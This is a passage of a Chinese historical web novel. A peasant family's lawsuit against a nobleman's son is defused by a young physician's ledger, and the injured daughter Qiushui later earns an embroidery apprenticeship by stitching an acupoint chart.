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场景心里越想越气,又将惊堂木敲了一响对秋水爹说“本官体恤你们远程赶来,赏你们水喝。不要蹬鼻子上脸了,要是不想喝就别喝了”。
秋水爹连说“小民不敢,小民眼力不好,只是想看看这是不是我儿”。
县尉讥笑道:“老子不认识儿子,真是糊涂东西,难怪教出这糊涂儿子”
秋水爹忙陪笑说到“县尉大人教训的是。”秋水爹一边喝水一边望着春林。春林此时知道自己闯了大祸,一眼也不敢向爹娘望去。秋水爹喝完一碗,虽未完全解渴但实在是蹲不下这个腰在去倒上一碗水。倒是马家骄看出来了,站起身给秋水爹在续了一碗。
秋水娘扶起秋水的上半身给秋水喂着水,秋水连喝三碗,才感觉缓和了。秋水看着母亲,用袖子擦了擦母亲的汗和眼泪说到”娘,你也喝一口吧,我不渴了。“
马家骄又给秋水娘倒上一碗,秋水娘接过说到“谢谢差爷,我这一碗水就够了”,秋水娘慢慢的饮了那碗水。
“都喝好了,马班头就将东西收下去吧”。
马家骄听县尉这么说,就将物品收了下去。
”许有田,堂下两人你可认识。“
”回大人,认识,一位是我儿子,一位是我摊位旁首饰店店主,张百练。“
”三天前,你与你的小女儿在集市摆摊,而我身旁的谢太傅家的二公子有身负重要信件,需加急呈于皇上,所以在御街骑马。不甚撞伤了你家小女,二公子虽身负重责,但伤了百姓也是深表歉意,于是丢下三十两黄金,而后才骑马离去。但不幸被贼人张百练所拾得,将其替换为二十三两碎银是与不是?“
秋水爹听这一问,想到前几日皇帝下了亲民诏,如果百姓遭受官差欺压,心中不平者,皆可报官,官员不得偏袒包庇,必须秉公处理。春林估计是听了这个,就来报官了,哎,到底是个孩子。自家遭受冤屈到也罢了,把张大哥也连累了,真是问心有愧。
”回大人,并非如此,是二公子丢下钱财,小民一时大意,得亏张大哥将其拾取后又帮忙将小女送到济安堂。张大哥将包裹送于小民时确有三十两黄金,但小女腿伤严重,脸部手部也有擦伤。治疗腿疾又购买了些美肤膏防止留疤,所以花费了三十两黄金,但济安堂楚云照,楚医师看小民可怜,又赠与了二十三两碎银。大致是我回家太过于劳累描述不清,才让我儿产生这些误会。“
“混账,胆敢当堂扯谎”。县尉本想,先引导这许有田将张百练严惩一番,还能索要一笔钱财。在以识人不清呵斥许有田,惩治一下许春林是非不分,本是二公子为执行公务不小心伤了百姓,还给了赔偿,许春林竟然以此状告二公子纵马行凶实在不该,打个二十板子。再将许有春定个管教不严导致二公子受此污蔑,在打个二十板子,此案就了结了,不曾想这个刁民竟敢如此不配合。
“小民此言句句属实,不敢欺瞒大人。”
“来人,去将济安堂楚云照,楚医师请来。”县尉心想,我看这楚云照还能说些什么?大胆刁民竟敢如此胡言乱语。
“大人,楚云照可是济安堂楚师的亲外甥后又在宗祠过继给了楚知求,翰林医官院可是有好几位他的师兄弟,我们也得罪不起。”师爷附耳对县尉说到。
县尉掩嘴轻咳了几声,眼球快速转动,身子微微一颤得对师爷说道:“你怎得不早与我说。”
半个时辰后,楚云照到了衙门。
秋水爹听见后方衙役喊出”楚云照到“。
秋水爹立即回头向楚云照作揖说到“之前劳烦楚医师救治小女,今日又麻烦医师来衙门走一趟,实在是心中愧疚”。
楚云照看秋水爹的作揖方式甚是不同,竟将右手两指放于左手大拇指之下,双手举于眼睛之下,虽心中疑惑,但表面未做反应只回道:“许大叔客气了,举手之劳,不足挂齿。”
“三日前许有田和其小女是否在你济安堂医治?“”县尉问道。县尉此时以是不敢想如何将许家一家定罪,只想怎么不得罪两边,求得一个相安无事便好。
“是,是在下与舅舅楚知求一同医治。”
“尔等收取许有田父女两多少诊金?”
4. 状告贼人反被污(二)
“三十金。”楚云照淡淡答道。
“三十金,你用何天山雪莲,千年灵芝,要三十金?”本是一直在旁观看得谢太傅家二公子怒气冲冲得说道。谢明奕心想屈屈医师也敢与我作对?竟当着我面来扯谎,这县尉真是废物,一点小事折腾我一天。
“谢二公子言重了,谢二公子所说的这些三十金可远远不够。”
“那你倒是说说你拿了何药?”
谢明奕一脸不耐烦,背部向后靠着,身体略往左边倾倒,左手手肘撑在椅子扶手上,左手还盘玩着核桃,左脚自然的放在地上。右腿踩在椅子上,右手自然的搭在右腿膝盖上。甚是纨绔。
“膳食方,断骨再生尾骨汤,每副续断一两,骨碎补一两,牛膝一两半,盐杜仲二两,红枣六枚,枸杞二两,田七一两,自配新鲜猪尾骨或十两排骨顿汤。接骨续伤济十副,每副当归一两,骨碎补一两半,续断一两,甘草半两,丹参二两。还有两罐济安堂独家的美肤膏。”
楚云照今日头带四方儒巾,身穿一湖蓝梅花暗纹褴衫,右手握拳放于腹前,左手置于后方腰下。身板挺直,面色从容不迫,不卑不亢。虽才十五六岁,已有那陌上人玉谦谦公子的气质。
“这值三十金?”谢明奕看其如此从容的样子甚是不解,自己虽不做买卖之事,但也知道三十金也不是个小数目。
“不值。”
“你耍我。”谢明奕抬起右手指着楚云照说到。
“不敢,只是如实回答谢公子的问题。我确实给了许家父女开了这些药方,但这些都未收许家父女的药费。许大叔的三十金是捐与了济安堂。”
“捐?什么个捐法?”谢明奕心想,好你个楚云照,看来是铁了心和本公子作对了,我到要看看你能说出什么花样来?
“许大叔说白日里莽撞,不小心冲撞到不知是什么官爷的马,但官爷心善,非但没有怪罪还赏了三十两金子。又偶遇我将其带回济安堂救治。非常高兴,平日里常听说济安堂冬季总是分发一些驱寒的药物。所以将三十金交于我捐赠给济安堂。”
“那你为何又要赠与二十三两银子?”
“那是我身上刚巧有二十三两,经常有些达官贵人听说我们冬日给百姓分发御寒的药物。偶尔还免除一些贫苦百姓的诊金。所以常来捐款。舅舅让我打理这些账目,允许我自取一成。我见许家父女身伤严重,不忍独吞。就将我身上的二十三两,以及装金子的荷包给了许大叔让其留作纪念。”
楚云照仍然是一脸从容,秋水爹心想此子以后必成大器。
“你有何证明你说的话?”谢明奕咄咄问到。
“济安堂有本账本,专门记录了日期与捐款的人员数额。当日我问许大叔填写何人名字。许大叔说,不知官人姓名。但既然是马撞到的缘分,那便叫马官人吧。我取了一成,登记的是马官人,二十七两金子。大人,你可差人去济安堂取此账本,查看那日是否有此信息,与我说得是否一致。”
“大人,请看,这就是我所取的三两金子。”楚云照将怀中一荷包拿出,从中掏出三两金子来说。
“好,来人,去济安堂将楚公子所说账本带来,看看是否有位马官人的捐款。”县尉擦了擦额头的汗,心想,这可千万得有,两边都是祖宗,大祖宗和小祖宗都不是我惹得起的。
楚云照见这应是差不多糊弄过去,心中松了一口气。没想到当年舅舅将自己带回家之时,不知道自己那爹是心中有些愧意,还是真就是一些心肝都没有的又追了出来。把这三两金递给了自己。说是把自己母亲的手镯融了的金子,希望楚云照留个念想。
当时舅舅一时气急,见他说话如此混账,又在门口将他打了一顿,他到也没有还手。没想到他当时给的这三两金倒是真派上了用场。
半个时辰过去,差役带着李松和账本来到了公堂,李松双手将账本递与了县尉。
县尉仔细翻阅了账本之后,疏了一口气对谢明奕说到“确有此事。”
谢明奕仍是不肯罢休,又向李松发问:“你可见过这位马官人?”
“我只是账房伙计,不去大堂会诊,只做物品财务清点。”
李松怎么不认识,这是之前他接诊了兴庆来的一位商人,非说他医术高明让他一起去大理开医馆。三日前又来此经商,又来找他,他不知如何应对便告诉了师父。师父便答应他可以送一人来济安堂学艺,但要给些金银显示些诚意。那人便给了师父二十七两金子并说自己真名不便透露,只记一位马官人便好,又让楚知求立了字据。来年三月必携百金以及医聪惠小儿前来学艺。
楚云照拳头一紧,没想到这个愣头青如此倔强。
楚云照于是说“谢二公子,您当时应是去送沙洲往东宫的信?往沙洲的回信何时寄出也应该要麻烦谢二公子。小民看来这应该是一场误会,不要继续耽误了公子之后送信的前程。”
谢奕明本是踩在椅子上的右腿滑落了下来,他心想这楚云照真有些本事,竟然知道与我一同骑马的是太子与六皇子。六皇子封地沙洲,一直拖延着未去。倘若真往上告后面抖落出来了更是吃亏。都怪那日早上喝了些酒,想比拼些胆子,这才骑马闯了御街。没想到皇上下了亲民诏,还刚巧遇到这刁民,还真敢告。
县尉看谢奕明如此表现便说到“原来是这样,都是一场误会。原是谢二公子为执行公差,不小心伤到许家父女,而后谢二公子进行了赔偿。许家夫妻许有田因突遭事故,心情恍惚。与妻儿转述时,描述不当。导致许春林误会谢二公子是故意伤人,才来状告谢二公子,目前误会解除,许春林撤销讼状。各位同意否?”
县尉说完先是看向谢二公子,谢二公子点了点头说到”如此便好,我就先告辞了。”谢奕明面色不悦得走了出去,路过楚云照轻声说了句“晦气”。
县尉又看向楚云照。
“大人实乃明察秋毫。”楚云照并未搭理谢奕明,只朝着县尉作揖说到。
“大人明察秋毫,草民谢过大人。”秋水爹悬着的心终于是落了地。
“好,退堂。”县尉大人又擦了一把汗,心想可算是把这群祖宗送走了。
秋水娘看事
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情落地,也终于松了口气。看秋水睡着好久了,打算将秋水先叫醒缓缓在将她抱起来回家。
“秋水,可以回家啦。”秋水娘蹲下轻轻拍着秋水,看着秋水的小脸红扑扑,心里愧疚极了。小脸上还都是汗,秋水娘将袖子捏在手里,打算给秋水擦擦汗。碰到秋水的脸上时,秋水娘身体往后一颤,怎么这么烫?
秋水娘用手背试了试额头的温度,又摸了莫秋水的后背。一下子慌了神喊道:“楚医师快些来看看,秋水浑身发烫。秋水,快醒醒别吓着娘啊,秋水。”
“许大娘,先别急,我先看看。”楚云照拿起秋水的手,探了一下脉搏。又用手将秋水的眼睛打开仔细观察了一番。
“秋水,可还能听见?”楚云照,略弓下身子对秋水说。秋水哼哼了几声。
“先送济安堂,眼神明亮,身体发烫,出汗多,应是中暑。但身上有伤,可能造成伤口溃烂,需带回济安堂检查,重新上药包扎。”楚云照说道。
“马班头快将牛车赶在门口,方便楚医师带许家一行人去济安堂。”县尉刚擦干的汗又流了下来,心想,怎得今日如此遭罪。可别让这楚云照抓住了自己得把柄。
“是!”马家骄心中一喜,看见这狗县尉吃瘪,今晚吃饭可加壶好酒了。
“混账东西,你是如何当哥的?看看你妹妹的样子。”秋水爹刚向张百练道歉,又听得这边秋水出问题。秋水爹又急又气,便向春林说了句狠话。说完就有些后悔,但看得秋水的样子便只是朝春林又叹了一口气。
秋水爹将秋水连忙抱去门口牛车上。秋水娘说“楚医师,你快上去,你和秋水爹先去济安堂,我稍后就到,人太多了怕车跑不快。”
“那如此,李松,你带许大娘来济安堂”楚云照说对李松说到。
李松:“我办事大师兄放心。”
“那我驾车了。”马家骄对楚云照说道。
“走吧。”
“许大娘,跟着我走吧,我们要走大概半个时辰”李松对秋水娘说道。
“麻烦李医师了。”秋水娘拉着春林跟着李医师向前走去。
秋水娘看见秋水牛车走过拐角,拉着春林的手说道:“你爹虽是责怪了你,但他自己更是憎恨自己,你可千万不要怪他。”
手心手背都是肉,秋水娘实在是不知道该如何是好,春林无辜,他爹也无辜,秋水最是无辜。
“娘,我明白。”春林心中甚是委屈,本以为亲民诏是给他们这种平民百姓的曙光,没想到是陷阱中的米粮。
“好孩子。”
秋水娘擦了擦自己的眼泪,拉着春林的手说道:“娘知道你是长大了,知道担家了。”
春林的眼里,喉咙里好像含着一团火似的,眼里的火好像将他的眼珠给整个燃烧,喉咙里的火拦着他一句话也说不出来。春林看娘一直等着自己的回应,又实在是说不出来一个字,就点了点头。
不动还好,这一动,在这一点头的重力之下,那在喉咙中的火,喷到了口腔一起在燃烧。眼睛里的火蔓延到了脸上,双颊都是灼烧感。
5. 幸遇贵人喜拜师(一)
李松带着秋水娘和春林刚到济安堂门口,门口一位十七八的青年,向秋水娘行了一个叉手礼,对李松说:“今日不巧济安堂有贵人在此,病患招待于别院。大师兄一等人去往楚宅了。”
“何等贵人竟有如此本身?”李松惊讶的反问道。
“你不必多问。”安百生不耐烦的说,他甚是烦这位师弟,一天天的话比念经的和尚还多。
“安师兄,那我便先告辞了。”李松向安百生行了叉手礼说道。李松心想,不说就不说吗,黑什么脸啊。
“许大嫂,许公子,辛苦你们再和我走一段路了。”
“李医师才是辛苦。”秋水娘向李松说道。
李松又带着秋水娘向楚宅走去,两刻钟后到了楚宅门口。一位二八年岁的姑娘笑着朝李松走了过来,那姑娘梳着一个双垂髻,头上插上两双粉色珠花。穿着烟熏紫色背心和雾蓝色百褶裙,外搭一件浅粉色花边褙子。双手抱着一个褐色布料包着的包裹。模样甚是娇俏可人。
“茯苓姐姐好,茯苓姐姐今日还是格外的漂亮。”李松对着那位小姑娘说道。
“就你嘴甜,我娘为了谢你何李杏上次给她看病。为你两备了一些薄礼物。一直未得空去找你,今日得知你要来,便特意在此等你。”茯苓一边笑着一边将褐色包裹递给李松。
李松笑着接过包裹笑着说道:“那就多谢白大娘了,这两位是许大娘和许公子,茯苓姐姐带他们进去吧,我就先回家了。”
“许大娘还有许公子随我走吧”。
“多谢茯苓姑娘”秋水娘向茯苓说道。
“许大娘不必客气,此乃茯苓分内之事。”茯苓微笑着说道。
茯苓将秋水娘和春林带入楚宅。楚宅是个三进的四方院子,走入正门,右侧院子外房是账房,内房是男丁住所,左侧外房是厨房,内房是女丁住所。
绕过一扇刻着渔樵耕读的一子形影壁,又过外仪门。院中做了个池塘,池塘种了些荷花,养了些锦鲤。沿着墙壁四周建立一圈红色木质带美人靠的景观桥桥。左侧的桥中部建了一个向下的台阶接上湖中铺设的石板制三米两曲折观景桥。观景桥一头连着围墙边的木质观景桥,一头是院中央稍下靠右的八角凉亭,可容下五六人。亭子左右各放一大一小两个假山。
茯苓带着秋水走上外仪门前的的红色景观桥,向左走,穿过一扇八角门。前路两旁种了些竹子,正前方高细多洞景石,景石上长了些长细叶子的和圆形叶子的杂草,还开了不太知名的红色与黄色小花。
又向前走了五六步,见一月洞门,院中并无摆饰只有正中间有口大水缸种了两三朵荷花,院最前侧与院两侧各一件屋子,每个屋前门口各有两个无雕花样式的八角石灯柱。
“你们暂且先在此处休息,云照郎君将秋水娘子安置在西厢房了,今夜就秋水娘子与许大娘在西厢房,许大叔与春林郎君就住东厢房吧。中间的厢房是楚阿郎与云照郎君的书房。”茯苓将秋水娘和春林带到院中,微笑着说道。
“多谢茯苓姑娘,秋水现在如何?”秋水娘听茯苓如此说道,心中一急,怎么还需要住上了,是不是伤情很严重。
“我未曾习医,知道的不真切。秋水娘子与许大叔现在西厢房中。许大娘可直接去问问。”茯苓对秋水娘说道。
茯苓心想,到底多严重我不知道,但是肯定不是很好。自己是不能回答的,还是云照郎君回答吧。
“多谢谢茯苓姑娘了。”秋水娘失落的对茯苓说道。
“茯苓就先行告退了。”茯苓说完向秋水娘行了个万福礼。然后后退几步向外走去了。
秋水娘与春林往西厢房走去。
“怎么这么浓的花椒味?”秋水娘进屋问道。
秋水爹听见这话,本在发呆中,忙对秋水娘嘘了一声,拉着秋水娘往外走,示意秋水娘道外面去说。
春林往秋水面前走去,看见秋水睡着了松了一口气。但又注意到秋水脸上还有未干的泪痕。两个胳膊上的袖子被束了起来,右手有手腕手肘各有一处上了药。左手整个胳膊都被擦了药。被子用一角盖着肚子和右脚。左脚上的绷带又新打了一个。
秋水爹见春林不走,又反身将春林一起拉了出来。
“秋水只是今天中暑发烧了,又在牛车上颠簸一番,骨头有所错位。楚医师说要用花椒水清洗伤口,重新上药包扎。可前日才饮麻沸散,今日不可再用,便生生撑着换药。刚才才睡下,千万不要闹醒了。”秋水爹一边抹着眼泪一边说。
秋水娘听着也留下了眼泪,心想这孩子怎么这么命苦啊。
春林更是惭愧,春林心想如果不是他自作主张,妹妹怎么会又受这次罪。
“我去看看秋水。”秋水娘说完又叹了一口气,惆怅的往西厢房走去。
春林见娘往西厢房走去,他也跟着秋水娘走去。
“你留下,我有话与你说。”秋水爹一脸严肃的对春林说。
“爹,你打我骂我都好,我已知错了。”春林满是懊悔的说。
“你为何想去报官?”秋水爹一脸恨铁不成钢的看着春林,手抬起叹气了一声后又放下。
“我昨日去集市,向张大叔询问你们那天的事情,越听越气愤。然后有一个路人见到了然后说是皇帝颁布了亲民令,羽林卫大将军的儿子强占民田也被惩治了。”
“如此你便信了?”春林爹一脸不可置信看着春林。
“是,一旁有家酒馆有位客人听到我们的对话,说对我心生怜悯,还替我写了诉状。”
“你未怀疑有诈?”
“是有所怀疑了,张大叔还在旁拦着我。可我实在气恼,便执意去报官了。我报官之时,官差都十分客气,只说第二日巳时升堂,一定给我一个公道。我便放了心。”春林一边说,语气越来越小。
“那你可问那人叫什么名字家住何处?”
“问了,他说他是游侠,不留姓名未有来处,也不知去处。”春林低着头颤颤巍巍的说。
秋水爹一把捏住了春林的衣袖,想要挥拳。叹了口气后又放了下来。只恶狠狠的吐出句:“蠢材。”
秋水爹抬头看天,心中惆怅,心想“老天啊,我上辈子究竟造了什么孽,你为何让我们遭人如此戏耍。”
“你将此事写信与你大哥否?”秋水爹心情郁闷,希望春林不至于愚蠢到这种地步。
“写了,但是还没送。”春林将怀中的信拿了出来,递给了秋水爹。
秋水爹接过信,拆开看了一看。看完就将信撕了了粉碎,塞进了春林手里说。“你如何蠢的如此无可救药,你想着为秋水找个公道,我难道不想吗?但你可曾想过你大哥的前途。那可是在战场上,生死攸关之地,容不得一丝分心。”
“我想了,便未敢寄出。”春林唯唯诺诺说。
“哎~,你~,哎~。算了~”秋水爹气的叹了好几口气后,便向东厢房走去了。
楚云照在书房想着初遇许家父女许有田那番着急狼狈的样子,又看见秋水爹娘今日看见秋水那样的爱惜疼爱。心中泛起一股酸楚。
楚云照心想“如果自己母亲没有因为自己难产而死,自己家是否也能像秋水一家如此温馨。”
天色逐渐暗了下来,楚宅各处都点上了灯笼。茯苓提着一个嫦娥奔月图样,外配雕花的细目框架,镶这纱绢,外悬珠玉金银的线坠的八角灯笼走了进来,心中一紧张,又走进看是春林松了口气说道“怎么在这里站着,不进屋休息休息?。”
茯苓一边将院灯柱换上新点的蜡烛一边对春林说道“金娘子请各位去吃晚饭。”
“我去将爹娘喊来。”
春林将爹娘喊至门外,茯苓和云照在院子中等着他们。
“秋水刚又睡下,我担心她醒了后害怕,我先在这守着,你们先去吃。”秋水娘担忧的说道。
“你也劳累一天了,吃些东西吧,要保重身体。让春林守着。”秋水爹说。
“娘,我来守着吧,我还不饿。”
秋水娘见春林这么说,甚是心疼,他也只是个孩子啊。但是不想让春林心中更难受,就答应了。春林向西厢房走去。
走出院子,路过原先的屋中池塘,向北走,过内仪门,踏上了几步台阶便到了会客厅。会客厅下有砖石抬高,台基转交处有角柱石。进入会客厅有要上三阶压阑石。房屋四壁是能平开出去或整扇拆走方便纳凉的格子门。目前正是天热的时候,目前都被拆了下来。
会客厅被分为了三个区域,左侧放着一个长四尺,宽两次的长方形绣绷,一旁的随墙书橱放着一些不太材质布料和绣花线;中间放着一张红木制镶嵌一整块玉石的八仙桌;最左侧摆放一张雕花红木茶桌,一旁的架子放着好几
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套茶具与不少茶叶还有几本药学书籍。
金千缕在一旁书绣花等待。见有灯光将至,忙去门口迎接。金千缕心想“云照性格孤僻,一直以来都不太爱说话,从小到大也不要什么。好不容易,云照需要她帮忙一下,一定要给办好了。
“这位是我舅妈,金记绣坊老板金千缕,称呼金娘子就好。舅妈这就是许大娘许大叔。”
“许大姐,许大哥,快些请坐,尝尝饭菜是不是符合你们的胃口。还有一位春林小郎君是回去了吗?”金千缕问到。
桌上摆着,鲤鱼烩面,锅贴豆腐,桶子鸡,羊肉汤。外加红薯泥杏仁茶两道甜食一共八道菜。
“他担心妹妹醒了身旁没有人醒来了吓着,便在妹妹身边守着。”秋水爹回答道。
“真是个好哥哥。茯苓,你先去给春林小郎君送些吃食。”
“是,娘子,茯苓这就去。”
秋水娘从身上掏出秋水绣的手娟在手上搓了又搓,想要用这问问金千缕的看法,说不定能提前定下。可又怕自己是被感情蒙蔽了双眼,对秋水的绣品评估的不太准确。扭扭捏捏想要拿出来又不敢拿。
金千缕见秋水娘面入难色,感觉好像不太舒服的样子,于是对秋水娘问到:“许大姐为何有些为难的样子,是饭菜不符合胃口吗?”
“金娘子,你可看看这块绣帕上的图样吗?绣工如何?”秋水娘见金千缕发问,索性想豁出去了问一问了,结果无论如何,心都定了。
秋水娘将绣帕递给金千缕,金千缕接过手帕看了一会儿说道:“不知这绣帕何人所绣?今年几岁?学刺绣多久了?”
秋水娘紧张的回答道:“是我的小女秋水所绣,八岁了,这几日才学。”
金千缕心中一惊,但面色不改的说道:“这鸳鸯整体来看,栩栩如生。细看之下,针脚细密,落针错落有致,收放自如。背面与正面无二致,但略有两处线头藏线失误,右侧鸳鸯上有两处鼓包,但对一个八岁的初学的孩子来说,已属不易。是临摹花样所绣,还是根据绣品所绣?”
“给了一副我的绣品让她对着绣。”秋水娘听金千缕如此评价心中大喜。
“不知你的那幅绣品是否也在身上?”
“在身上,金娘子请过目。”秋水娘边说,边忙把自己的绣品交给了金千缕。
金千缕比对两幅绣作,的确不是一人所绣。许大娘的落针出针更为柔和,鸳鸯更为有灵动。正反两面毫无区别,实乃高手。金千缕心想,这许大姐若在年轻几岁一定要将其请到绣坊去。
“许大姐,秋水这幅绣品确实不错,但收秋水这件事,我也不能直接应下。我虽是老板,但金记绣坊收学徒,得教习和我一起同意,方才作数。今夜你们先请好好休息,明日辰时吃过早饭我便去绣坊将教习找来,现场出题,秋水过了,我便提前将秋水收为学徒。”
秋水娘听金千缕如此说,心中放心了大半。忙笑着回应道“好,好,谢过金娘子了。”
秋水爹心中也大喜,秋水以后算是有着落了。起码有门手艺,吃喝不愁。
秋水娘心里悬着的大石也落下了。
楚云照为秋水感到高兴,也为舅妈能得一个如意的徒弟而开心。
“云照,你今日是睡自己的房间还是书房?”金千缕对楚云照问道。
“书房。”楚云照说到。
“也好,方便照料。”
“这是我听云照的描述,让绣坊的人新做的四件衣裳。毕竟未能测量,略做了宽松一些。希望你们见谅。”金千缕将衣服见秋水娘不接,一把塞进了秋水娘的怀里。
“金娘子如此客气,我们怎么好意思。”秋水娘惭愧的说。
“不必介怀,我们绣坊布料是最多的。我已让人送了热水去你们的厢房。”
秋水娘抹了抹眼泪对金娘子说道:“多谢金娘子了。”
秋水娘秋水爹由茯苓待会了院子中,听见秋水和春林在笑。心里更是踏实了,向西厢房走了进去。
“爹娘。”秋水笑嘻嘻的对爹娘说。
“秋水何时醒的?”秋水娘拉着秋水的手问道。
“茯苓姐姐送吃的来,我闻见饭香就醒了。”秋水笑着对秋水娘说。
听得秋水这么说,秋水爹娘和春林都笑出了声。围绕在许家这一段日子的阴霾算是彻底消散了一大半去。
6. 幸遇贵人喜拜师(二)
第二日辰时,茯苓来到院子见云照倚着书房门和春林在说话,秋水爹在西厢房门口读着书,秋水娘不停的在院中踱步。
“许大娘你莫着急,娘子今日大早便去田教习家中了,巳时必来。”
秋水娘听着害羞的哎了一声:“让茯苓姑娘见笑了。”
“娘子必然是很满意才早就出去找田教习了。娘子说怕你们觉得去主厅吃饭麻烦,便让我将饭送到这儿来。”
茯苓示意仆人将桌椅摆在院子,又让一旁的小丫头将饭菜放下。
“云照郎君,许大娘,许大叔,春林小郎君先吃饭吧,我先告退了。”茯苓行了礼后便离开了。
“我先给秋水送吃的,你们先吃。”春林给秋水拿了两最爱吃的大肉包子。
秋水在床上看着楚云照拿给她的山海经看的津津有味,见春林打断她还有些不悦。又听春林说给她拿了吃的,又才开心起来。
吃过早饭,刚到巳时,金缕儿就带着一位长相清秀,气质脱俗的女子来到院中。那女子梳一个多鬓髻,头戴一些玉制首饰,铂金上带着玛瑙和玉穿制的项链。身穿白底绿色小花纹样上襦,黄色半臂。搭上一条红色百褶裙,腰上系着一根黄色绦带。手上抱着一个不知道有些什么的木质雕花盒子。
“这位是田如意,是金记绣坊的教习。秋水此事是否有空?”
“一直在等你们呢。”秋水娘忙请金缕儿和田教习进屋。
田如意进屋看见秋水坐在床上眼巴巴的望着她们,她想这秋水倒是个摸样可人的姑娘。
“不知教习要出何题?”秋水娘问道。
田如意看了看屋子里的陈设,床面前挂着五幅画,不知道谁画的梅兰竹菊四君子图和一副头戴缕金银团冠,右手握莲花于胸口处,右手微向旁伸出。上身穿着襦裙,但左手至胸口处裸露。下身穿百褶群,裙摆略飘起。露出的脚未穿鞋子脚尖略踮起。右手裸露处位置于面部标记了人体穴位。
田如意心想这最后一幅画,必然是楚知求这个轻浮之人画的了,画功虽了得,但人品轻浮至极。
“秋水可以选取墙上任意一副画,绣出来。这是我的针线盒,你可随便取用。酉时停止,我根据成品判断。”田如意将自己的盒子放在秋水床边。
金千缕听田如意如此说,也看向秋水面前的墙壁,心想“梅?兰?竹?菊?楚知求画的美人穴位图。这幅画怎么在这?不是让茯苓将屋子收拾一下,把知求练习扎针的人偶收起来。茯苓怎如此粗心?应该不会选这幅画吧,这幅画没有颜色,且难度较高,还有字,应该不是小孩所喜欢的。”
未时刚到。秋水还在房间里绣着。田如意和金千缕在书房翻着书。田如意悄悄的走到金千缕身旁轻声说:“我已张望五六回了,每次都在认真刺绣。一个孩子能坐着那三个时辰已不容易了,我就没见过这么认真的孩子。我觉得可以直接收了。”
“我昨日就想直接收了,但心中有些怀疑,就才喊你来看。今日话都已经说出口了,没办法了,等着吧,可能那孩子一会儿就不想绣了呢?”
“缕儿,你真是害苦我,我针线盒给她了,我没东西打发时间。这儿的书我一本都看不下去。”田如意像对金缕儿撇了撇嘴。
“如意姨,我去舅妈书房拿本话本过来。”楚云照停下写字的手站了起来向田如意行了一个拱手礼。
“真是个乖孩子,和你舅舅一点都不像,快去吧,如意姨在这里等你。”
田如意见楚云照走远了,又望向金千缕:“上次听你说云照救了个小女孩,就是这个吧?但是这小孩的腿以后没啥问题吧?”
“知求之前和我说不是严重的伤,昨天是又出了些意外情况。但知求昨夜济安堂有事未归,今夜他回来我再问问。”
“那便等着吧”田如意叹了一口气。
东厢房里,春林看一会儿书,叹一口气。秋水娘坐不得一刻钟就要走上几趟。秋水爹拿着本算术书算着打算分散注意力。
“你两一会走几步,一会儿叹口气,看得我头疼。”秋水爹轻声拍了拍桌子。
“我这不是急吗?”秋水娘锤了锤腿。
“你们急,我也急,可否用些安静的方式急,你们这弄的我倒是更急了。”秋水爹着急的说道。
“哎~”秋水爹,秋水娘,春林一同叹了一口气。三人见此场面又相视一笑。
“孩她爹,我想去看看秋水怎么样了。”
“你莫去,莫要打扰她,就在这里等着。”
“哎~。”
酉时未到,申时过半,秋水在房中大喊:“我绣完了。”
田如意和金缕儿听到这个生意松了一口气,相视一笑后快步走入了秋水房中。秋水娘秋水爹春林也都如释重负往秋水房间赶去。
楚知求回到家中,问过门口仆人,娘子在家中。回到房间找不见人,便四处寻找,遇见茯苓告知在西院等秋水的绣样,便也往此处过来。
田如意接过秋水绣的图样一时楞神,表情略显尴尬。金千缕见其抬起来的花样,一时不敢相信,觉得是自己看花了眼睛,急忙站到田如意的身旁仔细观看。
秋水居然真的选了那幅美人穴位图。还将其补了色。金冠主体选取了蚕丝白线与棉白线一起绣,使得这幅绣的团冠也有白玉的光泽。花冠的祥云团选用金线绣制。上衣主体用粉色绣现,褶皱处用玫粉色绣其纹路,还用较为浅色的绣线绣其褶皱阴影。应该是时间仓促只绣了肩膀处的衣服褶皱。
裙摆颜色处理方式与衣服一致,但因裙摆是飘动的,所以将所有线都是按照一个方向绣的,仿佛这个裙摆真是由风吹起来的。裸露的人身虽只用浅灰色绣了个外边轮廓,但也非常灵动。标记穴位的字体,只用了黑线,但笔锋形态完美绣出。
金千缕,田如意皆是震惊。金千缕心想,早应该,给她两个月去绣,完善这个细节,不知道将会是一副多美的绣品。这寻常绣娘绣到如此程度至少得三天。又快又稳,这是天赐的良才。金千缕恨不得今日就将金记绣坊交给秋水。
楚知求刚到门口。看金千缕和田如意好像是拿着幅美人图,便上前瞧去。
“这不是我所画美人穴位图吗?缕儿,你怎将它绣出来了?虽有些瑕疵不够灵动,但刺绣比作画难度高上不少,这也是幅不错的作品了。若这作为考卷,对八岁小娃娃太难了些。”楚知求深情的望向金千缕。
田如意白了一眼楚知求,楚知求并未搭理,心想“成婚前你就看不惯我,那又怎么样,我还是和缕儿成婚这么多年了。”
“这是秋水的答卷。”
楚知求一脸惊讶,立马让金千缕将其拿给自己细看。人物比例满分,穴位标记位置准确,针脚错落一致,手也稳。楚知求看见如此作品也是大喜便说道:“有趣,有趣。缕儿你来,站在床边,将左手伸出。”
楚知求将金千缕拉至秋水床边,把金千缕的左手放至秋水面前。
“可认识字吗?”楚知求向秋水问道。
“不认识。”
楚知求说:“那你看着缕儿姐姐的手臂,我指图上的字,你看线连接的位置,将它在缕儿姐姐的手上指出来好吗?”
秋水虽深感疑惑,但也点了点头。
“手三里”
“手五里”
“商阳”
“曲池”
楚知求大喜,全对,本想将秋水现在收为徒弟,但看见田如意那吃人的样子,把话收了回去。心想这个凶婆娘,现在说肯定撕了我,等田如意回去,晚上在自己和缕儿说说好话,让她让给我。
“全对,恭喜缕儿得一个如此聪慧的好学徒啊。”楚知求摸了摸胡子说道。
金千缕对秋水娘说:“许大姐,等中秋之后和新收的学徒一起入金记绣坊学习。不出两年,我保证秋水是大荣第一绣娘。”
秋水娘抹了抹眼泪说道:“多谢金娘子,你这么说我这就放心了。”
“茯苓,吩咐账房给每人发十五个铜板的利是。”
“你这到是开心了,那位是秋水的哥哥吧,你也来试试,看着幅画能否找到穴位。”楚知求看着春林问道。
秋水爹心想莫不是楚医师想收春林为徒,如果真是如此,那真是三生有幸了。
春林见楚知求如此问,有些疑惑的点了点头。
楚知求将手伸到春林面前说:“你识字否?”
春林又点了点头。
“春林小郎君,我就出题了。”
“商阳”
“曲池”
楚知求笑道:“都差了一些。春林小郎君
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面对临时发问,也能如此从容应对,以后必有大作为。”
田如意白了一眼楚知求,心想,没看上就没看上,说些冠冕堂皇的理由。
“许大姐,我去准备今日晚宴。谢你们送来一个如此好的苗子。”金千缕高兴的说完后,拉着田如意高兴的向外走去。
楚知求向秋水爹娘行礼告辞之后也跟了上前。
吃过晚饭之后,秋水爹大醉。
